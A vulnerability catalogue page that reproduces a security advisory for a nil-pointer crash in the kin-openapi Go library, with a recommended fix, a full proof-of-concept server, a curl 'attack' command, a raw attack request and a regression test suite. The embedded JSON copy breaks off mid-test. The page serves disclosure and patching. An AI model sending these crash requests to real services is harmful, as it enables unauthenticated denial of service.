CWE-248
AllowedUncaught Exception
Abstraction: Base · Status: Draft
An exception is thrown from a function, but it is not caught.
745 vulnerabilities reference this CWE, most recent first.
GHSA-P6WJ-QRR4-PGH5
Vulnerability from github – Published: 2026-10-15 20:14 – Updated: 2026-10-15 20:14Summary
A nil-pointer dereference in openapi3filter lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI 3.1 operation that declares type: array without items. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting items, and doc.Validate() accepts such schemas with Schema.Items == nil. Request/response decoders then dereference Items with no nil check. The panic is deterministic (100%) on every request to the affected operation. There is no recover() in openapi3filter; under handlers without per-request recover the process can exit.
Details
Spec-validation asymmetry. OpenAPI 3.0 rejects array schemas that omit items (openapi3/schema.go around the TypeArray / newSchemaItemsRequired branch). For OpenAPI 3.1, T.Validate enables jsonSchema2020ValidationEnabled, so that check is skipped and Schema.Items remains nil after a clean doc.Validate().
Vulnerable decoder. The primary request-side crash is in UrlencodedBodyDecoder (still present on this checkout at L1421):
case propType.Is("array"):
items := propSchema.Value.Items.Value // Items == nil → panic
This runs during schema inspection before form values are parsed. Any non-empty application/x-www-form-urlencoded body for the operation reaches the dereference (an empty body is rejected earlier when requestBody.required is true, and never enters the decoder).
The same nil Items also crashes:
| Path | Location | Trigger |
|---|---|---|
MultipartBodyDecoder |
req_resp_decoder.go ~1564 → 1579 |
multipart/form-data part named like the array property |
parseArray → parsePrimitive |
req_resp_decoder.go ~1129 / 1151 |
Array-typed response headers via ValidateResponse, and path/cookie array params |
Middleware / ValidationHandler call ValidateRequest / ValidateResponse directly with no recover, so the panic escapes the library into the application.
Recommended fix. Guard nil Items and return a structured decode/validation error, e.g.:
case propType.Is("array"):
+ if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil {
+ return nil, fmt.Errorf("unsupported schema of request body's property %q: array items required for decoding", propName)
+ }
items := propSchema.Value.Items.Value
Apply equivalent guards in MultipartBodyDecoder and parseArray before calling parsePrimitive.
PoC
Verified against revision c11a4812ba7be3ee3d81453be0c397ee84c238d5, Go 1.25, darwin/arm64.
1. Spec — OpenAPI 3.1 operation with urlencoded body and type: array property without items:
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
2. E2E program — net/http server using the same public entrypoint (gorillamux → openapi3filter.ValidateRequest) real middleware uses. Save as main.go in a module that depends on github.com/getkin/kin-openapi at a vulnerable revision, then go run .:
package main
import (
"fmt"
"log"
"net/http"
"strings"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const spec = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
func main() {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(spec))
if err != nil {
log.Fatal(err)
}
if err := doc.Validate(loader.Context); err != nil {
log.Fatalf("doc.Validate rejected (unexpected for 3.1): %v", err)
}
fmt.Println("SPEC_ACCEPTED; Items ==", doc.Paths.Value("/f").Post.RequestBody.Value.
Content.Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value.Items)
router, err := gorillamux.NewRouter(doc)
if err != nil {
log.Fatal(err)
}
// Direct call (no net/http recover): proves the library itself panics.
req, _ := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
route, pp, _ := router.FindRoute(req)
func() {
defer func() {
if r := recover(); r != nil {
fmt.Printf("DIRECT_PANIC: %v\n", r)
}
}()
_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
Request: req, PathParams: pp, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
fmt.Println("DIRECT_PANIC: none (unexpected)")
}()
mux := http.NewServeMux()
mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
route, pathParams, err := router.FindRoute(r)
if err != nil {
http.Error(w, err.Error(), http.StatusNotFound)
return
}
err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
Request: r, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
w.WriteHeader(http.StatusOK)
_, _ = w.Write([]byte("ok\n"))
})
addr := "127.0.0.1:8085"
fmt.Printf("listening on http://%s/f\n", addr)
fmt.Println("attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://" + addr + "/f")
log.Fatal(http.ListenAndServe(addr, mux))
}
3. Observed output (go run .):
SPEC_ACCEPTED; Items == <nil>
DIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference
listening on http://127.0.0.1:8085/f
Then:
curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f
Server log:
http: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference
… openapi3filter.UrlencodedBodyDecoder …/req_resp_decoder.go:1421
… openapi3filter.ValidateRequest …
Stack pins the fault to UrlencodedBodyDecoder at req_resp_decoder.go:1421, called from ValidateRequest → ValidateRequestBody → decodeBody.
Attack request:
POST /f HTTP/1.1
Host: victim
Content-Type: application/x-www-form-urlencoded
tags=a
(Any non-empty body is enough; form content is irrelevant because Items is dereferenced during schema inspection before parsing.)
4. Regression / multi-surface test suite — save as e.g. openapi3filter/array_items_nil_panic_test.go in a checkout of the module and run go test -run TestArrayItemsNilPanic ./openapi3filter/ -v:
package openapi3filter_test
import (
"bytes"
"context"
"fmt"
"io"
"mime/multipart"
"net/http"
"net/http/httptest"
"strings"
"testing"
"github.com/stretchr/testify/require"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const urlencodedSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
const urlencodedSpec30 = `
openapi: 3.0.3
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
const multipartSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/upload:
post:
requestBody:
required: true
content:
multipart/form-data:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
const responseHeaderSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/hdr:
get:
responses:
'200':
description: ok
headers:
X-Tags:
schema: {type: array}
`
func catchPanic(fn func()) (panicValue any) {
defer func() { panicValue = recover() }()
fn()
return nil
}
func TestArrayItemsNilPanic_OpenAPI31Accepts(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
schema := doc.Paths.Value("/f").Post.RequestBody.Value.Content.
Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value
require.True(t, schema.Type.Is("array"))
require.Nil(t, schema.Items)
}
func TestArrayItemsNilPanic_OpenAPI30Rejects(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec30))
require.NoError(t, err)
require.Error(t, doc.Validate(loader.Context))
}
func TestArrayItemsNilPanic_UrlencodedValidateRequest(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
require.NoError(t, err)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
route, pathParams, err := router.FindRoute(req)
require.NoError(t, err)
got := catchPanic(func() {
_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
})
require.NotNil(t, got)
require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}
func TestArrayItemsNilPanic_MultipartValidateRequest(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(multipartSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
var buf bytes.Buffer
w := multipart.NewWriter(&buf)
require.NoError(t, w.WriteField("tags", "a"))
require.NoError(t, w.Close())
req, err := http.NewRequest(http.MethodPost, "/upload", &buf)
require.NoError(t, err)
req.Header.Set("Content-Type", w.FormDataContentType())
route, pathParams, err := router.FindRoute(req)
require.NoError(t, err)
got := catchPanic(func() {
_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
})
require.NotNil(t, got)
require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}
func TestArrayItemsNilPanic_ResponseHeaderValidateResponse(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(responseHeaderSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
req, err := http.NewRequest(http.MethodGet, "/hdr", nil)
require.NoError(t, err)
route, pathParams, err := router.FindRoute(req)
require.NoError(t, err)
got := catchPanic(func() {
_ = openapi3filter.ValidateResponse(loader.Context, &openapi3filter.ResponseValidationInput{
RequestValidationInput: &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
},
Status: http.StatusOK,
Header: http.Header{"X-Tags": []string{"a,b"}},
Body: io.NopCloser(strings.NewReader("")),
})
})
require.NotNil(t, got)
require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}
func TestArrayItemsNilPanic_E2EHTTPServer(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
var panicCount int
mux := http.NewServeMux()
mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
defer func() {
if recover() != nil {
panicCount++
http.Error(w, "panic in ValidateRequest", http.StatusInternalServerError)
}
}()
route, pathParams, err := router.FindRoute(r)
require.NoError(t, err)
err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
Request: r, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
w.WriteHeader(http.StatusOK)
})
srv := httptest.NewServer(mux)
t.Cleanup(srv.Close)
const n = 5
for i := 0; i < n; i++ {
resp, err := http.Post(srv.URL+"/f", "application/x-www-form-urlencoded", strings.NewReader("tags=a"))
require.NoError(t, err)
_, _ = io.ReadAll(resp.Body)
_ = resp.Body.Close()
require.Equal(t, http.StatusInternalServerError, resp.StatusCode)
}
require.Equal(t, n, panicCount)
}
func TestArrayItemsNilPanic_Deterministic(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
const attempts = 50
panics := 0
for i := 0; i < attempts; i++ {
req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=x"))
require.NoError(t, err)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
route, pathParams, err := router.FindRoute(req)
require.NoError(t, err)
if catchPanic(func() {
_ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
}) != nil {
panics++
}
}
require.Equal(t, attempts, panics)
}
Observed results on the vulnerable tree:
- 3.1 accepts the schema (
Items == nil); 3.0 rejects it - urlencoded, multipart, and response-header paths all panic with
nil pointer dereference - 50/50 panic rate (100% deterministic)
- E2E httptest server: 5/5 POSTs panic inside
ValidateRequest→ HTTP 500
Impact
- Type: NULL Pointer Dereference → unauthenticated remote denial of service.
- Who is impacted: applications using
github.com/getkin/kin-openapi/openapi3filterto validate requests/responses against OpenAPI 3.1 documents that contain anitems-lesstype: arrayin a urlencoded or multipart body property, or an array-typed response header (or otherparseArraysurfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded —doc.Validate()does not reject them under 3.1. - Attack: a single unauthenticated POST (or response-validation hit) with a tiny non-empty body.
- Consequence: deterministic panic on every request to the operation. With stock
net/http, the server logshttp: panic servingand aborts the connection; without per-request recover (common outside purenet/httphandlers), the process can crash. - Not affected: OpenAPI 3.0 documents (spec validation rejects missing
items); JSON request bodies (different decoder path that does not hit thisItems.Valueinspection).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/getkin/kin-openapi"
},
"ranges": [
{
"events": [
{
"introduced": "0.136.0"
},
{
"fixed": "0.143.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-97394"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-476"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:14:54Z",
"nvd_published_at": "2026-10-15T16:18:25Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA nil-pointer dereference in `openapi3filter` lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI **3.1** operation that declares `type: array` **without** `items`. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting `items`, and `doc.Validate()` accepts such schemas with `Schema.Items == nil`. Request/response decoders then dereference `Items` with no nil check. The panic is **deterministic (100%)** on every request to the affected operation. There is no `recover()` in `openapi3filter`; under handlers without per-request recover the process can exit.\n\n### Details\n\n**Spec-validation asymmetry.** OpenAPI 3.0 rejects array schemas that omit `items` ([`openapi3/schema.go`](https://github.com/getkin/kin-openapi/blob/master/openapi3/schema.go) around the `TypeArray` / `newSchemaItemsRequired` branch). For OpenAPI 3.1, `T.Validate` enables `jsonSchema2020ValidationEnabled`, so that check is skipped and `Schema.Items` remains nil after a clean `doc.Validate()`.\n\n**Vulnerable decoder.** The primary request-side crash is in [`UrlencodedBodyDecoder`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go) (still present on this checkout at L1421):\n\n```go\ncase propType.Is(\"array\"):\n items := propSchema.Value.Items.Value // Items == nil \u2192 panic\n```\n\nThis runs during schema inspection **before** form values are parsed. Any non-empty `application/x-www-form-urlencoded` body for the operation reaches the dereference (an empty body is rejected earlier when `requestBody.required` is true, and never enters the decoder).\n\nThe same nil `Items` also crashes:\n\n| Path | Location | Trigger |\n|---|---|---|\n| `MultipartBodyDecoder` | `req_resp_decoder.go` ~1564 \u2192 1579 | `multipart/form-data` part named like the array property |\n| `parseArray` \u2192 `parsePrimitive` | `req_resp_decoder.go` ~1129 / 1151 | Array-typed **response headers** via `ValidateResponse`, and path/cookie array params |\n\n`Middleware` / `ValidationHandler` call `ValidateRequest` / `ValidateResponse` directly with no recover, so the panic escapes the library into the application.\n\n**Recommended fix.** Guard nil `Items` and return a structured decode/validation error, e.g.:\n\n```diff\n case propType.Is(\"array\"):\n+\tif propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil {\n+\t\treturn nil, fmt.Errorf(\"unsupported schema of request body\u0027s property %q: array items required for decoding\", propName)\n+\t}\n \titems := propSchema.Value.Items.Value\n```\n\nApply equivalent guards in `MultipartBodyDecoder` and `parseArray` before calling `parsePrimitive`.\n\n### PoC\n\nVerified against revision `c11a4812ba7be3ee3d81453be0c397ee84c238d5`, Go 1.25, `darwin/arm64`.\n\n**1. Spec** \u2014 OpenAPI 3.1 operation with urlencoded body and `type: array` property without `items`:\n\n```yaml\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n /f:\n post:\n requestBody:\n required: true\n content:\n application/x-www-form-urlencoded:\n schema:\n type: object\n properties:\n tags: {type: array}\n responses:\n \u0027200\u0027: {description: ok}\n```\n\n**2. E2E program** \u2014 `net/http` server using the same public entrypoint (`gorillamux` \u2192 `openapi3filter.ValidateRequest`) real middleware uses. Save as `main.go` in a module that depends on `github.com/getkin/kin-openapi` at a vulnerable revision, then `go run .`:\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n /f:\n post:\n requestBody:\n required: true\n content:\n application/x-www-form-urlencoded:\n schema:\n type: object\n properties:\n tags: {type: array}\n responses:\n \u0027200\u0027: {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tif err := doc.Validate(loader.Context); err != nil {\n\t\tlog.Fatalf(\"doc.Validate rejected (unexpected for 3.1): %v\", err)\n\t}\n\tfmt.Println(\"SPEC_ACCEPTED; Items ==\", doc.Paths.Value(\"/f\").Post.RequestBody.Value.\n\t\tContent.Get(\"application/x-www-form-urlencoded\").Schema.Value.Properties[\"tags\"].Value.Items)\n\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// Direct call (no net/http recover): proves the library itself panics.\n\treq, _ := http.NewRequest(http.MethodPost, \"/f\", strings.NewReader(\"tags=a\"))\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\troute, pp, _ := router.FindRoute(req)\n\tfunc() {\n\t\tdefer func() {\n\t\t\tif r := recover(); r != nil {\n\t\t\t\tfmt.Printf(\"DIRECT_PANIC: %v\\n\", r)\n\t\t\t}\n\t\t}()\n\t\t_ = openapi3filter.ValidateRequest(loader.Context, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pp, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\tfmt.Println(\"DIRECT_PANIC: none (unexpected)\")\n\t}()\n\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"/f\", func(w http.ResponseWriter, r *http.Request) {\n\t\troute, pathParams, err := router.FindRoute(r)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t\terr = openapi3filter.ValidateRequest(r.Context(), \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: r, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, _ = w.Write([]byte(\"ok\\n\"))\n\t})\n\n\taddr := \"127.0.0.1:8085\"\n\tfmt.Printf(\"listening on http://%s/f\\n\", addr)\n\tfmt.Println(\"attack: curl -X POST -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 --data \u0027tags=a\u0027 http://\" + addr + \"/f\")\n\tlog.Fatal(http.ListenAndServe(addr, mux))\n}\n```\n\n**3. Observed output** (`go run .`):\n\n```\nSPEC_ACCEPTED; Items == \u003cnil\u003e\nDIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference\nlistening on http://127.0.0.1:8085/f\n```\n\nThen:\n\n```\ncurl -X POST -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 --data \u0027tags=a\u0027 http://127.0.0.1:8085/f\n```\n\nServer log:\n\n```\nhttp: panic serving 127.0.0.1:\u2026: runtime error: invalid memory address or nil pointer dereference\n\u2026 openapi3filter.UrlencodedBodyDecoder \u2026/req_resp_decoder.go:1421\n\u2026 openapi3filter.ValidateRequest \u2026\n```\n\nStack pins the fault to `UrlencodedBodyDecoder` at `req_resp_decoder.go:1421`, called from `ValidateRequest` \u2192 `ValidateRequestBody` \u2192 `decodeBody`.\n\n**Attack request:**\n\n```\nPOST /f HTTP/1.1\nHost: victim\nContent-Type: application/x-www-form-urlencoded\n\ntags=a\n```\n\n(Any non-empty body is enough; form content is irrelevant because `Items` is dereferenced during schema inspection before parsing.)\n\n**4. Regression / multi-surface test suite** \u2014 save as e.g. `openapi3filter/array_items_nil_panic_test.go` in a checkout of the module and run `go test -run TestArrayItemsNilPanic ./openapi3filter/ -v`:\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst urlencodedSpec31 = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n /f:\n post:\n requestBody:\n required: true\n content:\n application/x-www-form-urlencoded:\n schema:\n type: object\n properties:\n tags: {type: array}\n responses:\n \u0027200\u0027: {description: ok}\n`\n\nconst urlencodedSpec30 = `\nopenapi: 3.0.3\ninfo: {title: t, version: 1.0.0}\npaths:\n /f:\n post:\n requestBody:\n required: true\n content:\n application/x-www-form-urlencoded:\n schema:\n type: object\n properties:\n tags: {type: array}\n responses:\n \u0027200\u0027: {description: ok}\n`\n\nconst multipartSpec31 = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n /upload:\n post:\n requestBody:\n required: true\n content:\n multipart/form-data:\n schema:\n type: object\n properties:\n tags: {type: array}\n responses:\n \u0027200\u0027: {description: ok}\n`\n\nconst responseHeaderSpec31 = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n /hdr:\n get:\n responses:\n \u0027200\u0027:\n description: ok\n headers:\n X-Tags:\n schema: {type: array}\n`\n\nfunc catchPanic(fn func()) (panicValue any) {\n\tdefer func() { panicValue = recover() }()\n\tfn()\n\treturn nil\n}\n\nfunc TestArrayItemsNilPanic_OpenAPI31Accepts(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\tschema := doc.Paths.Value(\"/f\").Post.RequestBody.Value.Content.\n\t\tGet(\"application/x-www-form-urlencoded\").Schema.Value.Properties[\"tags\"].Value\n\trequire.True(t, schema.Type.Is(\"array\"))\n\trequire.Nil(t, schema.Items)\n}\n\nfunc TestArrayItemsNilPanic_OpenAPI30Rejects(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec30))\n\trequire.NoError(t, err)\n\trequire.Error(t, doc.Validate(loader.Context))\n}\n\nfunc TestArrayItemsNilPanic_UrlencodedValidateRequest(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\treq, err := http.NewRequest(http.MethodPost, \"/f\", strings.NewReader(\"tags=a\"))\n\trequire.NoError(t, err)\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\troute, pathParams, err := router.FindRoute(req)\n\trequire.NoError(t, err)\n\n\tgot := catchPanic(func() {\n\t\t_ = openapi3filter.ValidateRequest(loader.Context, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\trequire.NotNil(t, got)\n\trequire.Contains(t, fmt.Sprint(got), \"nil pointer dereference\")\n}\n\nfunc TestArrayItemsNilPanic_MultipartValidateRequest(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(multipartSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(\u0026buf)\n\trequire.NoError(t, w.WriteField(\"tags\", \"a\"))\n\trequire.NoError(t, w.Close())\n\n\treq, err := http.NewRequest(http.MethodPost, \"/upload\", \u0026buf)\n\trequire.NoError(t, err)\n\treq.Header.Set(\"Content-Type\", w.FormDataContentType())\n\troute, pathParams, err := router.FindRoute(req)\n\trequire.NoError(t, err)\n\n\tgot := catchPanic(func() {\n\t\t_ = openapi3filter.ValidateRequest(loader.Context, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\trequire.NotNil(t, got)\n\trequire.Contains(t, fmt.Sprint(got), \"nil pointer dereference\")\n}\n\nfunc TestArrayItemsNilPanic_ResponseHeaderValidateResponse(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(responseHeaderSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\treq, err := http.NewRequest(http.MethodGet, \"/hdr\", nil)\n\trequire.NoError(t, err)\n\troute, pathParams, err := router.FindRoute(req)\n\trequire.NoError(t, err)\n\n\tgot := catchPanic(func() {\n\t\t_ = openapi3filter.ValidateResponse(loader.Context, \u0026openapi3filter.ResponseValidationInput{\n\t\t\tRequestValidationInput: \u0026openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t},\n\t\t\tStatus: http.StatusOK,\n\t\t\tHeader: http.Header{\"X-Tags\": []string{\"a,b\"}},\n\t\t\tBody: io.NopCloser(strings.NewReader(\"\")),\n\t\t})\n\t})\n\trequire.NotNil(t, got)\n\trequire.Contains(t, fmt.Sprint(got), \"nil pointer dereference\")\n}\n\nfunc TestArrayItemsNilPanic_E2EHTTPServer(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvar panicCount int\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"/f\", func(w http.ResponseWriter, r *http.Request) {\n\t\tdefer func() {\n\t\t\tif recover() != nil {\n\t\t\t\tpanicCount++\n\t\t\t\thttp.Error(w, \"panic in ValidateRequest\", http.StatusInternalServerError)\n\t\t\t}\n\t\t}()\n\t\troute, pathParams, err := router.FindRoute(r)\n\t\trequire.NoError(t, err)\n\t\terr = openapi3filter.ValidateRequest(r.Context(), \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: r, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\n\tsrv := httptest.NewServer(mux)\n\tt.Cleanup(srv.Close)\n\n\tconst n = 5\n\tfor i := 0; i \u003c n; i++ {\n\t\tresp, err := http.Post(srv.URL+\"/f\", \"application/x-www-form-urlencoded\", strings.NewReader(\"tags=a\"))\n\t\trequire.NoError(t, err)\n\t\t_, _ = io.ReadAll(resp.Body)\n\t\t_ = resp.Body.Close()\n\t\trequire.Equal(t, http.StatusInternalServerError, resp.StatusCode)\n\t}\n\trequire.Equal(t, n, panicCount)\n}\n\nfunc TestArrayItemsNilPanic_Deterministic(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tconst attempts = 50\n\tpanics := 0\n\tfor i := 0; i \u003c attempts; i++ {\n\t\treq, err := 